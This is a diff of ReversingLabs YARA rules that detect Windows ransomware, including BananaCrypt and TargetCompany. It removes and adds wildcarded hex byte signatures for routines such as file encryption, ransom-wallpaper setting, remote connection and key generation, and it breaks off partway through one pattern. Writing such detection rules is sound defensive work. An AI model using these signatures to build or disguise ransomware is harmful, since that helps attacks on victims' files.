-		$enumerate_drives = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? 8B D8 85 DB 74 ?? C1 EB ?? 8D B5 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 F8
-            ?? 74 ?? 83 F8 ?? 75 ?? 56 E8 ?? ?? ?? ?? 8D 76 ?? 4B 85 DB 75 ?? 5F 5E 5A 59 5B 8B
-            E5 5D C3 55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8
-            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? C7
-            00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4
-            ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
-            ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 66 A9 ?? ?? 74 ?? 6A ?? 8D 85 ?? ??
-            ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 40 ?? 50 FF 15 ?? ?? ??
-            ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15
-            ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 5A 59 5B 8B E5 5D C2
+		$encrypt_routine = {
+            FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? [0-10]
+            E9 ?? ?? ?? ?? 6A ?? [1-10] FF 75 ?? FF 35 ?? ??
+            ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? [1-10] FF 35 ?? ?? ?? ??
+            6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? (E8 | FF 15)
+            ?? ?? ?? ?? 0B C0 75 ?? (EB | E9) [1-4] 6A ??
+            [2-10] FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ??
+            75 ?? [10-40] FF 35 ?? ?? ?? ?? FF 75 ?? E8
         }
-		$escalate_privileges = {
-            55 8B EC 83 C4 ?? 53 51 52 56 57 8D 45 ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F
-            85 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75
-            ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 50
-            FF 75 ?? FF 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75 ?? AD 8B F8 83
-            7E ?? ?? 74 ?? C7 46 ?? ?? ?? ?? ?? 83 C6 ?? 4F 85 FF 75 ?? 6A ?? 6A ?? 6A ?? FF 75
-            ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 5A 59 5B 8B E5 5D C3
+		$set_ransom_wallpaper = {
+             0F B6 05 ?? ?? ?? ?? 83 F8 01 0F 85 ?? ?? ?? ??
+             B9 ?? ?? ?? ?? BF ?? ?? ?? ?? 51 57 [2-20] 5F
+             59 25 ?? ?? ?? ?? C1 E8 ?? 83 C0 ?? AA E2 ?? 33
+             C0 AA 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
+             ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
+             68 ?? ?? ?? ?? (E8 | FF 15)
         }
-		$enumerate_netshare = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 7D ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? 50 6A ??
-            8D 45 ?? 50 6A ?? 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75 ?? 83 7E ?? ?? 75 ?? 68 ??
-            ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 C7 03 ?? ?? ?? ?? C7 43 ??
-            ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? 8D 47 ?? 50 53 FF 15 ?? ?? ??
-            ?? 83 C4 ?? 53 FF 15 ?? ?? ?? ?? FF 36 53 FF 15 ?? ?? ?? ?? 83 C4 ?? 53 E8 ?? ?? ??
-            ?? 53 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C6 ?? FF 4D ?? 83 7D ?? ?? 75 ??
-            FF 15 ?? ?? ?? ?? 5F 5E 5A 59 5B 8B E5 5D C2
+		$read_config_file = {
+            55 8B EC 83 C4 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
+            ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? E8 ??
+            ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 89 45 ?? 50 6A ??
+            E8 ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 89 45 ?? FF
+            75 ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3
+            89 45 ?? 50 E8 ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3
+            89 45 ?? FF 75 ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 04
+            33 C0 C9 C3 89 45 ?? 8B D8 FF 75 ?? FF 75 ?? FF 75
+            ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 5D ??
+            6A ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C3 ?? 8B
+            45 ?? 83 E8 ?? 50 53 E8 ?? ?? ?? ?? 8A 03 A2 ?? ??
+            ?? ?? 83 C3 ?? 8A 03 A2 ?? ?? ?? ?? 83 C3
         }
-		$find_files_v2 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 51 52 56 57 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ??
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D BD
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 83 C4 ?? 57 FF 15 ?? ?? ?? ??
-            83 C4 ?? 66 83 7C 47 ?? ?? 74 ?? 66 C7 04 47 ?? ?? 83 C7 ?? C7 04 47 ?? ?? ?? ?? C7
-            44 47 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 66 A9 ?? ?? 74 ??
-            8D 9D ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 83 C4
-            ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 83 C0 ?? 53 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 56
-            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 75 ??
-            FF 15 ?? ?? ?? ?? 5F 5E 5A 59 5B 8B E5 5D C2
+
+	condition:
+		uint16(0)==0x5A4D and ($drive_loop and $encrypt_routine and $set_ransom_wallpaper and $read_config_file)
+}
+rule REVERSINGLABS_Win32_Ransomware_Bananacrypt : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects BananaCrypt ransomware."
+		author = "ReversingLabs"
+		id = "9e47d094-d7fc-57dd-826c-5321d0219273"
+		date = "2020-09-14"
+		modified = "2020-09-14"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.BananaCrypt.yara#L1-L103"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "6bde4430e438947b0d7f10c4de11216929ec03af81b3d74f8b7bb8ed134d08d2"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "BananaCrypt"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_p1 = {
+            55 89 E5 57 56 53 89 C3 81 EC ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 55 ?? 89 8D ?? ?? ??
+            ?? 85 D2 74 ?? 8B 45 ?? 85 C0 0F 85 ?? ?? ?? ?? 31 F6 0F B6 13 84 D2 0F 84 ?? ?? ??
+            ?? 8D 43 ?? 88 95 ?? ?? ?? ?? 8D 8B ?? ?? ?? ?? 8D BD ?? ?? ?? ?? EB ?? 83 C0 ?? 83
+            C7 ?? 88 57 ?? 39 C1 74 ?? 0F B6 10 84 D2 75 ?? 89 BD ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            C6 00 ?? 89 1C 24 E8 ?? ?? ?? ?? 85 C0 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 F0 84
+            C0 0F 85 ?? ?? ?? ?? 8D 5D ?? 8D 76 ?? 8D BC 27 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04
+            24 E8 ?? ?? ?? ?? 85 C0 89 C6 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D BD ?? ?? ?? ??
+            39 F9 89 C8 76 ?? 0F B6 41 ?? 89 CF 3C ?? 0F 95 C1 3C ?? 0F 95 C2 84 D1 0F 84 ?? ??
+            ?? ?? 3C ?? 0F 84 ?? ?? ?? ?? 8D 47 ?? C6 07 ?? 8D 7E ?? 39 D8 89 BD ?? ?? ?? ?? 73
+            ?? 0F B6 56 ?? 84 D2 74 ?? 89 F9 8B BD ?? ?? ?? ?? EB ?? 90 0F B6 11 84 D2 74 ?? 83
+            C0 ?? 83 C1 ?? 88 50 ?? 39 D8 75 ?? 89 BD ?? ?? ?? ?? C6 00 ?? 8D 85 ?? ?? ?? ?? 31
+            FF 89 04 24 E8 ?? ?? ?? ?? 85 C0 89 C2 74 ?? 80 38 ?? 74 ?? 8B 85 ?? ?? ?? ?? 66 90
+            83 C7 ?? 80 3C 3A ?? 75 ?? 89 85 ?? ?? ?? ?? 89 54 24 ?? C7 04 24 ?? ?? ?? ?? 89 95
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 46 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 8B 95
+            ?? ?? ?? ?? 74 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 7C 24 ?? 89 14 24 89
+        }
+		$encrypt_files_p2 = {
+            44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? C7 04
+            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C6 8D 85 ?? ?? ?? ?? 89 F1 89 04 24 E8 ?? ?? ?? ??
+            83 EC ?? 89 F1 E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? 89 C7 8D
+            40 ?? 83 F8 ?? 76 ?? 89 F1 83 05 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ??
+            89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 3C 24 89 44 24 ?? E8 ?? ?? ?? ?? 89 F1 E8 ??
+            ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8
+            ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 89
+            F1 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B
+            B5 ?? ?? ?? ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A6 0F 84 ?? ?? ?? ?? 8B B5 ?? ?? ??
+            ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A6 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 8D ?? ?? ?? ??
+            8B 95 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9
+            ?? ?? ?? ?? 8D 74 26 ?? 8B 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24
+            E8 ?? ?? ?? ?? 8D 65 ?? B8 ?? ?? ?? ?? 5B 5E 5F 5D C3 8B 45 ?? 89 1C 24 89 44 24 ??
+            8B 45 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 89 C6 E9 ?? ?? ?? ?? 8D 65 ?? 31 C0 5B 5E 5F 5D
+            C3 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E9
+        }
+		$find_files_p1 = {
+            8D 4C 24 ?? 83 E4 ?? FF 71 ?? 55 89 E5 57 56 53 51 81 EC ?? ?? ?? ?? 8B 31 8B 79 ??
+            E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FE ?? 7E ?? 89 74 24 ?? C7 04
+            24 ?? ?? ?? ?? 31 DB E8 ?? ?? ?? ?? 8B 04 9F 89 5C 24 ?? 83 C3 ?? C7 04 24 ?? ?? ??
+            ?? 89 44 24 ?? E8 ?? ?? ?? ?? 39 DE 75 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 47 ?? 89 04 24
+            E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 89
+            44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D BD ??
+            ?? ?? ?? F3 A5 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 04 24 C7 85
+        }
+		$find_files_p2 = {
+            8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C3 E8 ?? ?? ?? ??
+            8D 44 03 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C3 8B 85 ?? ?? ?? ?? 89 1C 24 89 44 24 ?? E8
+            ?? ?? ?? ?? 89 DA 8B 0A 83 C2 ?? 8D 81 ?? ?? ?? ?? F7 D1 21 C8 25 ?? ?? ?? ?? 74 ??
+            A9 ?? ?? ?? ?? 74 ?? 89 C1 00 C1 83 DA ?? C7 02 ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C7
+            42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 84 C0 74 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 65 ?? 31 C0 59 5B 5E
+            5F 5D 8D 61 ?? C3 C1 E8 ?? 83 C2 ?? EB ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ??
+            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D BD ?? ?? ?? ?? BE ?? ?? ?? ?? 89 04 24 B8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 44 24 ??
+            ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29
+            F9 89 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 29 CE 81 C1 ?? ?? ?? ?? C1 E9 ?? 89 45 ?? F3
+        }
+		$find_files_p3 = {
+            A5 89 1C 24 E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
+            ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 89 C6 74 ?? 89 44 24 ?? C7 44 24 ?? ??
+            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 34 24 E8 ??
+            ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8
+            ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 04
+            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 85 C0 89 C6 0F 84 ?? ?? ?? ?? 89 44 24
+            ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ??
+            ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? E9
         }
 
 	condition:
-		uint16(0)==0x5A4D and (($find_files_v1 and $enumerate_drives and $escalate_privileges) or ($find_files_v2 and $enumerate_netshare))
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Targetcompany : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects TargetCompany ransomware."
+		author = "ReversingLabs"
+		id = "7e6983f9-2aca-5cfa-aad6-38aa64fa2062"
+		date = "2021-09-27"
+		modified = "2021-09-27"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.TargetCompany.yara#L1-L141"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "05fa81afa8aa1e3b9955ad24a274ddef4fb32d678902af7aae6d6c67ed3bf0fd"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "TargetCompany"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_p1 = {
+            E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 59 53 68 ?? ?? ?? ?? 6A ?? 53 6A
+            ?? 68 ?? ?? ?? ?? 56 FF D7 89 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ??
+            89 85 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 56 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83
+            BD ?? ?? ?? ?? ?? 75 ?? BF ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 56 8D 75 ?? E8 ?? ?? ??
+            ?? 50 89 5D ?? E8 ?? ?? ?? ?? 53 6A ?? E8 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? E9 ?? ??
+            ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59
+            E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 53 68
+            ?? ?? ?? ?? 6A ?? 53 6A ?? 68 ?? ?? ?? ?? 56 FF D7 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ??
+            ?? 6A ?? 5F 53 57 56 FF B5 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 50
+            89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 33 FF 3B F3 89 85
+            ?? ?? ?? ?? 7F ?? 7C ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 77 ?? 33 FF 47 EB ?? B9 ?? ??
+            ?? ?? 3B C1 73 ?? 53 51 56 FF B5 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50
+        }
+		$encrypt_files_p2 = {
+            56 FF B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? 89 95 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 3B FB 8B 3D ?? ?? ?? ?? 89 9D ?? ?? ?? ??
+            89 9D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 89 85 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 59 89 85 ?? ?? ?? ?? 3B C3 0F 84 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 51 FF B5 ??
+            ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 FF B5 ?? ?? ?? ?? 8D 4D
+            ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 53 53 FF B5 ??
+            ?? ?? ?? FF D7 53 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ??
+            ?? ?? ?? FF D6 E9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 89 85 ?? ?? ?? ?? 3B C3 0F 84 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B C3 0F 86 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 53 53 FF B5 ??
+            ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF D7 53 8D 85 ?? ?? ?? ?? 50 FF B5 ??
+            ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 FF B5 ??
+            ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53
+            FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF D7 53 8D 85 ?? ?? ?? ?? 50
+            FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF D6 8B 85 ?? ?? ?? ?? 01 85
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 11 85 ?? ?? ?? ?? FF 8D ?? ?? ?? ?? 0F 85 ?? ?? ?? ??
+            FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 6A ?? 53 53 33 C0 50 FF B5 ?? ?? ?? ?? FF D7 8B
+            BD ?? ?? ?? ?? 53 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 45 ?? 50 57 FF D6 53 8D 85 ?? ?? ??
+            ?? 50 6A ?? 8D 45 ?? 50 57 FF D6 53 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 57 FF
+            D6 57 FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8
+        }
+		$remote_connection_p1 = {
+            55 8B EC 83 EC ?? 53 56 33 F6 57 8D 5D ?? 89 75 ?? E8 ?? ?? ?? ?? 89 75 ?? 56 56 56
+            FF 75 ?? 56 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 3B DE 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 FF 6A ?? 8D
+            45 ?? 50 FF 74 BD ?? 53 FF 15 ?? ?? ?? ?? 47 83 FF ?? 72 ?? 56 56 6A ?? 56 56 FF 75
+            ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 0F 84 ?? ?? ?? ?? 33 C9 80 7D ?? ??
+            B8 ?? ?? ?? ?? 0F 95 C1 56 49 23 C8 03 C8 81 C9 ?? ?? ?? ?? 51 56 56 56 FF 75 ?? 89
+            4D ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B D8 3B DE 0F 84 ?? ?? ?? ?? 6A ??
+            5F 8D 45 ?? 50 8D 45 ?? 50 6A ?? 53 89 7D ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ??
+            81 4D ?? ?? ?? ?? ?? 57 8D 45 ?? 50 6A ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? 8B 45 ?? FF
+            75 ?? F7 D8 1B C0 50 FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 FF 56 56 8D 45 ??
+            50 53 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 03 C7 50 FF 75 ?? E8 ?? ?? ??
+            ?? 59 59 8D 4D ?? 51 FF 75 ?? 89 45 ?? 03 C7 50 53 FF 15 ?? ?? ?? ?? 03 7D ?? 39 75
+            ?? 75 ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ??
+            39 75 ?? 75 ?? 33 C0 40 39 45 ?? 74 ?? 89 45 ?? E9 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ??
+            ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 5F 5E 5B C9 C3
+        }
+		$remote_connection_p2 = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 8D 9D ?? ?? ?? ??
+            8B F9 E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 45
+            ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 85 F6 75
+            ?? B8 ?? ?? ?? ?? 50 8D 45 ?? 50 57 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 8B F8 85 F6 74 ?? 56 E8 ?? ?? ?? ?? 59 85 FF 74 ?? 57 E8 ?? ?? ?? ?? 59 FF B5
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 4D ?? 5F 5E 33
+            CD 5B E8 ?? ?? ?? ?? C9 C3
+        }
+		$generate_key = {
+            0F 31 0F AF C8 0F AF CE 0F AF 8D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 53 33 FF 47 57 53 53
